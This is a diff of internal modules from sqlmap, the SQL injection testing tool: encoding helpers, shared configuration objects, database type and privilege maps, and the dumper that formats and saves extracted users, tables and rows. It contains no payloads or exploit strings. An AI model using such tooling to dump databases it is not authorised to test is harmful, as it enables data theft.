WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
@@ -27,64 +12,142 @@ try:
|
||||
except:
|
||||
import md5
|
||||
import sha
|
||||
|
||||
|
||||
import pickle
|
||||
import re
|
||||
import sys
|
||||
import string
|
||||
import struct
|
||||
import urllib
|
||||
|
||||
def base64decode(string):
|
||||
return string.decode("base64")
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.settings import URLENCODE_CHAR_LIMIT
|
||||
from lib.core.settings import URLENCODE_FAILSAFE_CHARS
|
||||
|
||||
def base64encode(string):
|
||||
return string.encode("base64")[:-1]
|
||||
def base64decode(value):
|
||||
return value.decode("base64")
|
||||
|
||||
def hexdecode(string):
|
||||
string = string.lower()
|
||||
def base64encode(value):
|
||||
return value.encode("base64")[:-1].replace("\n", "")
|
||||
|
||||
if string.startswith("0x"):
|
||||
string = string[2:]
|
||||
def base64pickle(value):
|
||||
return base64encode(pickle.dumps(value))
|
||||
|
||||
return string.decode("hex")
|
||||
|
||||
def hexencode(string):
|
||||
return string.encode("hex")
|
||||
def base64unpickle(value):
|
||||
return pickle.loads(base64decode(value))
|
||||
|
||||
def md5hash(string):
|
||||
def hexdecode(value):
|
||||
value = value.lower()
|
||||
|
||||
if value.startswith("0x"):
|
||||
value = value[2:]
|
||||
|
||||
return value.decode("hex")
|
||||
|
||||
def hexencode(value):
|
||||
return value.encode("hex")
|
||||
|
||||
def md5hash(value):
|
||||
if sys.modules.has_key('hashlib'):
|
||||
return hashlib.md5(string).hexdigest()
|
||||
return hashlib.md5(value).hexdigest()
|
||||
else:
|
||||
return md5.new(string).hexdigest()
|
||||
return md5.new(value).hexdigest()
|
||||
|
||||
def orddecode(string):
|
||||
packedString = struct.pack("!"+"I" * len(string), *string)
|
||||
def orddecode(value):
|
||||
packedString = struct.pack("!"+"I" * len(value), *value)
|
||||
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
|
||||
|
||||
def ordencode(string):
|
||||
return tuple([ord(char) for char in string])
|
||||
def ordencode(value):
|
||||
return tuple([ord(char) for char in value])
|
||||
|
||||
def sha1hash(string):
|
||||
def sha1hash(value):
|
||||
if sys.modules.has_key('hashlib'):
|
||||
return hashlib.sha1(string).hexdigest()
|
||||
return hashlib.sha1(value).hexdigest()
|
||||
else:
|
||||
return sha.new(string).hexdigest()
|
||||
return sha.new(value).hexdigest()
|
||||
|
||||
def urldecode(string):
|
||||
def urldecode(value, encoding=None):
|
||||
result = None
|
||||
|
||||
if string:
|
||||
result = urllib.unquote_plus(string)
|
||||
|
||||
if value:
|
||||
try:
|
||||
# for cases like T%C3%BCrk%C3%A7e
|
||||
value = str(value)
|
||||
except ValueError:
|
||||
pass
|
||||
finally:
|
||||
result = urllib.unquote_plus(value)
|
||||
|
||||
if isinstance(result, str):
|
||||
result = unicode(result, encoding or UNICODE_ENCODING, errors="replace")
|
||||
|
||||
return result
|
||||
|
||||
def urlencode(string, safe=":/?%&=", convall=False):
|
||||
def urlencode(value, safe="%&=", convall=False, limit=False):
|
||||
if conf.direct or "POSTxml" in conf.paramDict:
|
||||
return value
|
||||
|
||||
count = 0
|
||||
result = None
|
||||
|
||||
if string is None:
|
||||
if value is None:
|
||||
return result
|
||||
|
||||
if convall:
|
||||
result = urllib.quote(string)
|
||||
else:
|
||||
result = urllib.quote(string, safe)
|
||||
if convall or safe is None:
|
||||
safe = ""
|
||||
|
||||
# corner case when character % really needs to be
|
||||
# encoded (when not representing url encoded char)
|
||||
if all(map(lambda x: '%' in x, [safe, value])):
|
||||
value = re.sub("%(?![0-9a-fA-F]{2})", "%25", value, re.DOTALL | re.IGNORECASE)
|
||||
|
||||
while True:
|
||||
result = urllib.quote(utf8encode(value), safe)
|
||||
|
||||
if limit and len(result) > URLENCODE_CHAR_LIMIT:
|
||||
if count >= len(URLENCODE_FAILSAFE_CHARS):
|
||||
dbgMsg = "failed to fully shorten urlencoding value"
|
||||
logger.debug(dbgMsg)
|
||||
break
|
||||
|
||||
while count < len(URLENCODE_FAILSAFE_CHARS):
|
||||
safe += URLENCODE_FAILSAFE_CHARS[count]
|
||||
count += 1
|
||||
if safe[-1] in value:
|
||||
break
|
||||
else:
|
||||
break
|
||||
|
||||
return result
|
||||
|
||||
def utf8encode(value):
|
||||
return value.encode("utf-8")
|
||||
|
||||
def utf8decode(value):
|
||||
return value.decode("utf-8")
|
||||
|
||||
def htmlescape(value):
|
||||
return value.replace('&', '&').replace('<', '<').replace('>', '>').replace('"', '"').replace("'", ''').replace(' ', ' ')
|
||||
|
||||
def htmlunescape(value):
|
||||
return value.replace('&', '&').replace('<', '<').replace('>', '>').replace('"', '"').replace(''', "'").replace(' ', ' ')
|
||||
|
||||
def safehexencode(value):
|
||||
"""
|
||||
Returns safe hex representation of a given basestring value
|
||||
|
||||
>>> safehexencode(u'test123')
|
||||
u'test123'
|
||||
>>> safehexencode(u'test\x01\x02\xff')
|
||||
u'test\\01\\02\\03\\ff'
|
||||
"""
|
||||
|
||||
retVal = value
|
||||
if isinstance(value, basestring):
|
||||
retVal = reduce(lambda x, y: x + (y if (y in string.printable or ord(y) > 255) else '\%02x' % ord(y)), value, unicode())
|
||||
elif isinstance(value, list):
|
||||
for i in xrange(len(value)):
|
||||
retVal[i] = safehexencode(value[i])
|
||||
return retVal
|
||||
|
||||
+26
-21
@@ -3,31 +3,29 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.datatype import advancedDict
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import LOGGER
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import SQLITE_ALIASES
|
||||
from lib.core.settings import ACCESS_ALIASES
|
||||
from lib.core.settings import FIREBIRD_ALIASES
|
||||
from lib.core.settings import MAXDB_ALIASES
|
||||
from lib.core.settings import SYBASE_ALIASES
|
||||
|
||||
# sqlmap paths
|
||||
paths = advancedDict()
|
||||
|
||||
# object to store original command line options
|
||||
cmdLineOptions = advancedDict()
|
||||
|
||||
# object to share within function and classes command
|
||||
# line options and settings
|
||||
conf = advancedDict()
|
||||
@@ -35,12 +33,19 @@ conf = advancedDict()
|
||||
# object to share within function and classes results
|
||||
kb = advancedDict()
|
||||
|
||||
# object to share within function and classes temporary data,
|
||||
# just for internal use
|
||||
temp = advancedDict()
|
||||
|
||||
# object with each database management system specific queries
|
||||
queries = {}
|
||||
|
||||
# logger
|
||||
logger = LOGGER
|
||||
|
||||
dbmsDict = { DBMS.MSSQL: [MSSQL_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/"],
|
||||
DBMS.MYSQL: [MYSQL_ALIASES, "python-mysqldb", "http://mysql-python.sourceforge.net/"],
|
||||
DBMS.PGSQL: [PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/"],
|
||||
DBMS.ORACLE: [ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/"],
|
||||
DBMS.SQLITE: [SQLITE_ALIASES, "python-pysqlite2", "http://pysqlite.googlecode.com/"],
|
||||
DBMS.ACCESS: [ACCESS_ALIASES, "python-pyodbc", "http://pyodbc.googlecode.com/"],
|
||||
DBMS.FIREBIRD: [FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/"],
|
||||
DBMS.MAXDB: [MAXDB_ALIASES, None, None],
|
||||
DBMS.SYBASE: [SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/"]
|
||||
}
|
||||
|
||||
+31
-18
@@ -3,23 +3,8 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.exception import sqlmapDataException
|
||||
@@ -52,7 +37,7 @@ class advancedDict(dict):
|
||||
try:
|
||||
return self.__getitem__(item)
|
||||
except KeyError:
|
||||
raise sqlmapDataException, "Unable to access item '%s'" % item
|
||||
raise sqlmapDataException, "unable to access item '%s'" % item
|
||||
|
||||
def __setattr__(self, item, value):
|
||||
"""
|
||||
@@ -71,3 +56,31 @@ class advancedDict(dict):
|
||||
else:
|
||||
self.__setitem__(item, value)
|
||||
|
||||
def __getstate__(self):
|
||||
return self.__dict__
|
||||
|
||||
def __setstate__(self, dict):
|
||||
self.__dict__ = dict
|
||||
|
||||
class injectionDict(advancedDict):
|
||||
def __init__(self):
|
||||
advancedDict.__init__(self)
|
||||
|
||||
self.place = None
|
||||
self.parameter = None
|
||||
self.ptype = None
|
||||
self.prefix = None
|
||||
self.suffix = None
|
||||
self.clause = None
|
||||
|
||||
# data is a dict with various stype, each which is a dict with
|
||||
# all the information specific for that stype
|
||||
self.data = advancedDict()
|
||||
|
||||
# conf is a dict which stores current snapshot of important
|
||||
# options used during detection
|
||||
self.conf = advancedDict()
|
||||
|
||||
self.dbms = None
|
||||
self.dbms_version = None
|
||||
self.os = None
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
firebirdTypes = {
|
||||
"261":"BLOB",
|
||||
"14":"CHAR",
|
||||
"40":"CSTRING",
|
||||
"11":"D_FLOAT",
|
||||
"27":"DOUBLE",
|
||||
"10":"FLOAT",
|
||||
"16":"INT64",
|
||||
"8":"INTEGER",
|
||||
"9":"QUAD",
|
||||
"7":"SMALLINT",
|
||||
"12":"DATE",
|
||||
"13":"TIME",
|
||||
"35":"TIMESTAMP",
|
||||
"37":"VARCHAR"
|
||||
}
|
||||
|
||||
sybaseTypes = {
|
||||
"14":"floatn",
|
||||
"8":"float",
|
||||
"15":"datetimn",
|
||||
"12":"datetime",
|
||||
"23":"real",
|
||||
"28":"numericn",
|
||||
"10":"numeric",
|
||||
"27":"decimaln",
|
||||
"26":"decimal",
|
||||
"17":"moneyn",
|
||||
"11":"money",
|
||||
"21":"smallmoney",
|
||||
"22":"smalldatetime",
|
||||
"13":"intn",
|
||||
"7":"int",
|
||||
"6":"smallint",
|
||||
"5":"tinyint",
|
||||
"16":"bit",
|
||||
"2":"varchar",
|
||||
"18":"sysname",
|
||||
"25":"nvarchar",
|
||||
"1":"char",
|
||||
"24":"nchar",
|
||||
"4":"varbinary",
|
||||
"80":"timestamp",
|
||||
"3":"binary",
|
||||
"19":"text",
|
||||
"20":"image",
|
||||
}
|
||||
|
||||
mysqlPrivs = {
|
||||
1:"select_priv",
|
||||
2:"insert_priv",
|
||||
3:"update_priv",
|
||||
4:"delete_priv",
|
||||
5:"create_priv",
|
||||
6:"drop_priv",
|
||||
7:"reload_priv",
|
||||
8:"shutdown_priv",
|
||||
9:"process_priv",
|
||||
10:"file_priv",
|
||||
11:"grant_priv",
|
||||
12:"references_priv",
|
||||
13:"index_priv",
|
||||
14:"alter_priv",
|
||||
15:"show_db_priv",
|
||||
16:"super_priv",
|
||||
17:"create_tmp_table_priv",
|
||||
18:"lock_tables_priv",
|
||||
19:"execute_priv",
|
||||
20:"repl_slave_priv",
|
||||
21:"repl_client_priv",
|
||||
22:"create_view_priv",
|
||||
23:"show_view_priv",
|
||||
24:"create_routine_priv",
|
||||
25:"alter_routine_priv",
|
||||
26:"create_user_priv",
|
||||
}
|
||||
|
||||
pgsqlPrivs = {
|
||||
1:"createdb",
|
||||
2:"super",
|
||||
3:"catupd",
|
||||
}
|
||||
|
||||
firebirdPrivs = {
|
||||
"S": "SELECT",
|
||||
"I": "INSERT",
|
||||
"U": "UPDATE",
|
||||
"D": "DELETE",
|
||||
"R": "REFERENCES",
|
||||
"E": "EXECUTE"
|
||||
}
|
||||
+220
-124
@@ -3,31 +3,27 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import os
|
||||
import codecs
|
||||
import re
|
||||
import os
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import dataToDumpFile
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import normalizeUnicode
|
||||
from lib.core.common import openFile
|
||||
from lib.core.common import restoreDumpMarkedChars
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.replication import Replication
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
|
||||
class Dump:
|
||||
"""
|
||||
@@ -39,43 +35,44 @@ class Dump:
|
||||
def __init__(self):
|
||||
self.__outputFile = None
|
||||
self.__outputFP = None
|
||||
|
||||
def __write(self, data, n=True):
|
||||
if n:
|
||||
print data
|
||||
self.__outputFP.write("%s\n" % data)
|
||||
else:
|
||||
print data,
|
||||
self.__outputFP.write("%s " % data)
|
||||
|
||||
def __write(self, data, n=True):
|
||||
text = "%s%s" % (data, "\n" if n else " ")
|
||||
dataToStdout(text)
|
||||
|
||||
self.__outputFP.write(text)
|
||||
self.__outputFP.flush()
|
||||
|
||||
conf.loggedToOut = True
|
||||
|
||||
|
||||
def __formatString(self, inpStr):
|
||||
return restoreDumpMarkedChars(getUnicode(inpStr))
|
||||
|
||||
def setOutputFile(self):
|
||||
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
|
||||
self.__outputFP = open(self.__outputFile, "a")
|
||||
|
||||
self.__outputFP = codecs.open(self.__outputFile, "ab", UNICODE_ENCODING)
|
||||
|
||||
def getOutputFile(self):
|
||||
return self.__outputFile
|
||||
|
||||
def string(self, header, data, sort=True):
|
||||
if isinstance(data, (list, tuple, set)):
|
||||
self.lister(header, data, sort)
|
||||
|
||||
return
|
||||
|
||||
data = str(data)
|
||||
data = getUnicode(data)
|
||||
|
||||
if data:
|
||||
data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
|
||||
data = data.replace("__START__", "").replace("__STOP__", "")
|
||||
data = data.replace("__DEL__", ", ")
|
||||
data = self.__formatString(data)
|
||||
|
||||
if "\n" in data:
|
||||
self.__write("%s:\n---\n%s---\n" % (header, data))
|
||||
self.__write("%s:\n---\n%s\n---\n" % (header, data))
|
||||
else:
|
||||
self.__write("%s: '%s'\n" % (header, data))
|
||||
else:
|
||||
self.__write("%s:\tNone\n" % header)
|
||||
|
||||
|
||||
def lister(self, header, elements, sort=True):
|
||||
if elements:
|
||||
self.__write("%s [%d]:" % (header, len(elements)))
|
||||
@@ -84,19 +81,42 @@ class Dump:
|
||||
try:
|
||||
elements = set(elements)
|
||||
elements = list(elements)
|
||||
elements.sort(key=lambda x: x.lower())
|
||||
elements.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
|
||||
except:
|
||||
pass
|
||||
|
||||
for element in elements:
|
||||
if isinstance(element, str):
|
||||
if isinstance(element, basestring):
|
||||
self.__write("[*] %s" % element)
|
||||
elif isinstance(element, (list, tuple, set)):
|
||||
self.__write("[*] " + ", ".join(e for e in element))
|
||||
self.__write("[*] " + ", ".join(getUnicode(e) for e in element))
|
||||
|
||||
if elements:
|
||||
self.__write("")
|
||||
|
||||
|
||||
def technic(self, header, data):
|
||||
self.string(header, data)
|
||||
|
||||
def banner(self,data):
|
||||
self.string("banner", data)
|
||||
|
||||
def currentUser(self,data):
|
||||
self.string("current user", data)
|
||||
|
||||
def currentDb(self,data):
|
||||
if Backend.getIdentifiedDbms() == DBMS.MAXDB:
|
||||
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data)
|
||||
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
|
||||
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data)
|
||||
else:
|
||||
self.string("current database", data)
|
||||
|
||||
def dba(self,data):
|
||||
self.string("current user is DBA", data)
|
||||
|
||||
def users(self,users):
|
||||
self.lister("database management system users", users)
|
||||
|
||||
def userSettings(self, header, userSettings, subHeader):
|
||||
self.__areAdmins = set()
|
||||
|
||||
@@ -108,84 +128,67 @@ class Dump:
|
||||
userSettings = userSettings[0]
|
||||
|
||||
users = userSettings.keys()
|
||||
users.sort(key=lambda x: x.lower())
|
||||
users.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
|
||||
|
||||
for user in users:
|
||||
settings = userSettings[user]
|
||||
|
||||
if user in self.__areAdmins:
|
||||
self.__write("[*] %s (administrator) [%d]:" % (user, len(settings)))
|
||||
if settings is None:
|
||||
stringSettings = ""
|
||||
else:
|
||||
self.__write("[*] %s [%d]:" % (user, len(settings)))
|
||||
stringSettings = " [%d]:" % len(settings)
|
||||
|
||||
settings.sort()
|
||||
if user in self.__areAdmins:
|
||||
self.__write("[*] %s (administrator)%s" % (user, stringSettings))
|
||||
else:
|
||||
self.__write("[*] %s%s" % (user, stringSettings))
|
||||
|
||||
for setting in settings:
|
||||
self.__write(" %s: %s" % (subHeader, setting))
|
||||
if settings:
|
||||
settings.sort()
|
||||
|
||||
for setting in settings:
|
||||
self.__write(" %s: %s" % (subHeader, setting))
|
||||
print
|
||||
|
||||
def dbColumns(self, dbColumns, colConsider, dbs):
|
||||
for column, dbTables in dbColumns.items():
|
||||
if colConsider == "1":
|
||||
colConsiderStr = "s like '" + column + "' were"
|
||||
else:
|
||||
colConsiderStr = " '%s' was" % column
|
||||
|
||||
msg = "Column%s found in the " % colConsiderStr
|
||||
msg += "following databases:"
|
||||
self.__write(msg)
|
||||
|
||||
printDbs = {}
|
||||
|
||||
for db, tblData in dbs.items():
|
||||
for tbl, colData in tblData.items():
|
||||
for col, dataType in colData.items():
|
||||
if column in col:
|
||||
if db in printDbs:
|
||||
if tbl in printDbs[db]:
|
||||
printDbs[db][tbl][col] = dataType
|
||||
else:
|
||||
printDbs[db][tbl] = { col: dataType }
|
||||
else:
|
||||
printDbs[db] = {}
|
||||
printDbs[db][tbl] = { col: dataType }
|
||||
|
||||
continue
|
||||
|
||||
self.dbTableColumns(printDbs)
|
||||
def dbs(self,dbs):
|
||||
self.lister("available databases", dbs)
|
||||
|
||||
def dbTables(self, dbTables):
|
||||
if not isinstance(dbTables, dict):
|
||||
if isinstance(dbTables, dict) and len(dbTables) > 0:
|
||||
maxlength = 0
|
||||
|
||||
for tables in dbTables.values():
|
||||
for table in tables:
|
||||
if isinstance(table, (list, tuple, set)):
|
||||
table = table[0]
|
||||
|
||||
maxlength = max(maxlength, len(normalizeUnicode(table) or str(table)))
|
||||
|
||||
lines = "-" * (int(maxlength) + 2)
|
||||
|
||||
for db, tables in dbTables.items():
|
||||
tables.sort()
|
||||
|
||||
self.__write("Database: %s" % db)
|
||||
|
||||
if len(tables) == 1:
|
||||
self.__write("[1 table]")
|
||||
else:
|
||||
self.__write("[%d tables]" % len(tables))
|
||||
|
||||
self.__write("+%s+" % lines)
|
||||
|
||||
for table in tables:
|
||||
if isinstance(table, (list, tuple, set)):
|
||||
table = table[0]
|
||||
|
||||
blank = " " * (maxlength - len(normalizeUnicode(table) or str(table)))
|
||||
self.__write("| %s%s |" % (table, blank))
|
||||
|
||||
self.__write("+%s+\n" % lines)
|
||||
else:
|
||||
self.string("tables", dbTables)
|
||||
|
||||
return
|
||||
|
||||
maxlength = 0
|
||||
|
||||
for tables in dbTables.values():
|
||||
for table in tables:
|
||||
maxlength = max(maxlength, len(table))
|
||||
|
||||
lines = "-" * (int(maxlength) + 2)
|
||||
|
||||
for db, tables in dbTables.items():
|
||||
tables.sort(key=lambda x: x.lower())
|
||||
|
||||
self.__write("Database: %s" % db)
|
||||
|
||||
if len(tables) == 1:
|
||||
self.__write("[1 table]")
|
||||
else:
|
||||
self.__write("[%d tables]" % len(tables))
|
||||
|
||||
self.__write("+%s+" % lines)
|
||||
|
||||
for table in tables:
|
||||
blank = " " * (maxlength - len(table))
|
||||
self.__write("| %s%s |" % (table, blank))
|
||||
|
||||
self.__write("+%s+\n" % lines)
|
||||
|
||||
def dbTableColumns(self, tableColumns):
|
||||
for db, tables in tableColumns.items():
|
||||
if not db:
|
||||
@@ -195,8 +198,10 @@ class Dump:
|
||||
maxlength1 = 0
|
||||
maxlength2 = 0
|
||||
|
||||
colType = None
|
||||
|
||||
colList = columns.keys()
|
||||
colList.sort(key=lambda x: x.lower())
|
||||
colList.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
|
||||
|
||||
for column in colList:
|
||||
colType = columns[column]
|
||||
@@ -252,6 +257,9 @@ class Dump:
|
||||
self.__write("+%s+\n" % lines1)
|
||||
|
||||
def dbTableValues(self, tableValues):
|
||||
replication = None
|
||||
rtable = None
|
||||
|
||||
if tableValues is None:
|
||||
return
|
||||
|
||||
@@ -260,22 +268,24 @@ class Dump:
|
||||
db = "All"
|
||||
table = tableValues["__infos__"]["table"]
|
||||
|
||||
if not conf.multipleTargets:
|
||||
if conf.replicate:
|
||||
replication = Replication("%s%s%s.sqlite3" % (conf.dumpPath, os.sep, db))
|
||||
elif not conf.multipleTargets:
|
||||
dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db)
|
||||
|
||||
if not os.path.isdir(dumpDbPath):
|
||||
os.makedirs(dumpDbPath, 0755)
|
||||
|
||||
dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, table)
|
||||
dumpFP = open(dumpFileName, "w")
|
||||
dumpFP = openFile(dumpFileName, "wb")
|
||||
|
||||
count = int(tableValues["__infos__"]["count"])
|
||||
separator = ""
|
||||
field = 1
|
||||
fields = len(tableValues) - 1
|
||||
count = int(tableValues["__infos__"]["count"])
|
||||
separator = str()
|
||||
field = 1
|
||||
fields = len(tableValues) - 1
|
||||
|
||||
columns = tableValues.keys()
|
||||
columns.sort(key=lambda x: x.lower())
|
||||
columns.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
|
||||
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
@@ -286,6 +296,40 @@ class Dump:
|
||||
separator += "+"
|
||||
self.__write("Database: %s\nTable: %s" % (db, table))
|
||||
|
||||
if conf.replicate:
|
||||
cols = []
|
||||
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
colType = Replication.INTEGER
|
||||
|
||||
for value in tableValues[column]['values']:
|
||||
try:
|
||||
if re.search("^[\ *]*$", value): #NULL
|
||||
continue
|
||||
|
||||
_ = int(value)
|
||||
except ValueError:
|
||||
colType = None
|
||||
break
|
||||
|
||||
if colType is None:
|
||||
colType = Replication.REAL
|
||||
|
||||
for value in tableValues[column]['values']:
|
||||
try:
|
||||
if re.search("^[\ *]*$", value): #NULL
|
||||
continue
|
||||
|
||||
_ = float(value)
|
||||
except ValueError:
|
||||
colType = None
|
||||
break
|
||||
|
||||
cols.append((column, colType if colType else Replication.TEXT))
|
||||
|
||||
rtable = replication.createTable(table, cols)
|
||||
|
||||
if count == 1:
|
||||
self.__write("[1 entry]")
|
||||
else:
|
||||
@@ -301,53 +345,105 @@ class Dump:
|
||||
|
||||
self.__write("| %s%s" % (column, blank), n=False)
|
||||
|
||||
if not conf.multipleTargets and field == fields:
|
||||
dataToDumpFile(dumpFP, "%s" % column)
|
||||
elif not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "%s," % column)
|
||||
if not conf.replicate:
|
||||
if not conf.multipleTargets and field == fields:
|
||||
dataToDumpFile(dumpFP, "%s" % column)
|
||||
elif not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "%s," % column)
|
||||
|
||||
field += 1
|
||||
|
||||
self.__write("|\n%s" % separator)
|
||||
|
||||
if not conf.multipleTargets:
|
||||
if not conf.multipleTargets and not conf.replicate:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
|
||||
for i in range(count):
|
||||
field = 1
|
||||
values = []
|
||||
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
info = tableValues[column]
|
||||
value = info["values"][i]
|
||||
|
||||
if len(info["values"]) <= i:
|
||||
continue
|
||||
|
||||
value = getUnicode(info["values"][i])
|
||||
|
||||
if re.search("^[\ *]*$", value):
|
||||
value = "NULL"
|
||||
|
||||
values.append(value)
|
||||
maxlength = int(info["length"])
|
||||
blank = " " * (maxlength - len(value))
|
||||
self.__write("| %s%s" % (value, blank), n=False)
|
||||
|
||||
if not conf.multipleTargets and field == fields:
|
||||
dataToDumpFile(dumpFP, "\"%s\"" % value)
|
||||
elif not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "\"%s\"," % value)
|
||||
if not conf.replicate:
|
||||
if not conf.multipleTargets and field == fields:
|
||||
dataToDumpFile(dumpFP, "\"%s\"" % value)
|
||||
elif not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "\"%s\"," % value)
|
||||
|
||||
field += 1
|
||||
|
||||
if conf.replicate:
|
||||
rtable.insert(values)
|
||||
|
||||
self.__write("|")
|
||||
|
||||
if not conf.multipleTargets:
|
||||
if not conf.multipleTargets and not conf.replicate:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
|
||||
self.__write("%s\n" % separator)
|
||||
|
||||
if not conf.multipleTargets:
|
||||
if conf.replicate:
|
||||
logger.info("Table '%s.%s' dumped to sqlite3 file '%s'" % (db, table, replication.dbpath))
|
||||
elif not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
dumpFP.close()
|
||||
|
||||
logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
|
||||
|
||||
def dbColumns(self, dbColumns, colConsider, dbs):
|
||||
for column in dbColumns.keys():
|
||||
if colConsider == "1":
|
||||
colConsiderStr = "s like '" + column + "' were"
|
||||
else:
|
||||
colConsiderStr = " '%s' was" % column
|
||||
|
||||
msg = "Column%s found in the " % colConsiderStr
|
||||
msg += "following databases:"
|
||||
self.__write(msg)
|
||||
|
||||
printDbs = {}
|
||||
|
||||
for db, tblData in dbs.items():
|
||||
for tbl, colData in tblData.items():
|
||||
for col, dataType in colData.items():
|
||||
if column.lower() in col.lower():
|
||||
if db in printDbs:
|
||||
if tbl in printDbs[db]:
|
||||
printDbs[db][tbl][col] = dataType
|
||||
else:
|
||||
printDbs[db][tbl] = { col: dataType }
|
||||
else:
|
||||
printDbs[db] = {}
|
||||
printDbs[db][tbl] = { col: dataType }
|
||||
|
||||
continue
|
||||
|
||||
self.dbTableColumns(printDbs)
|
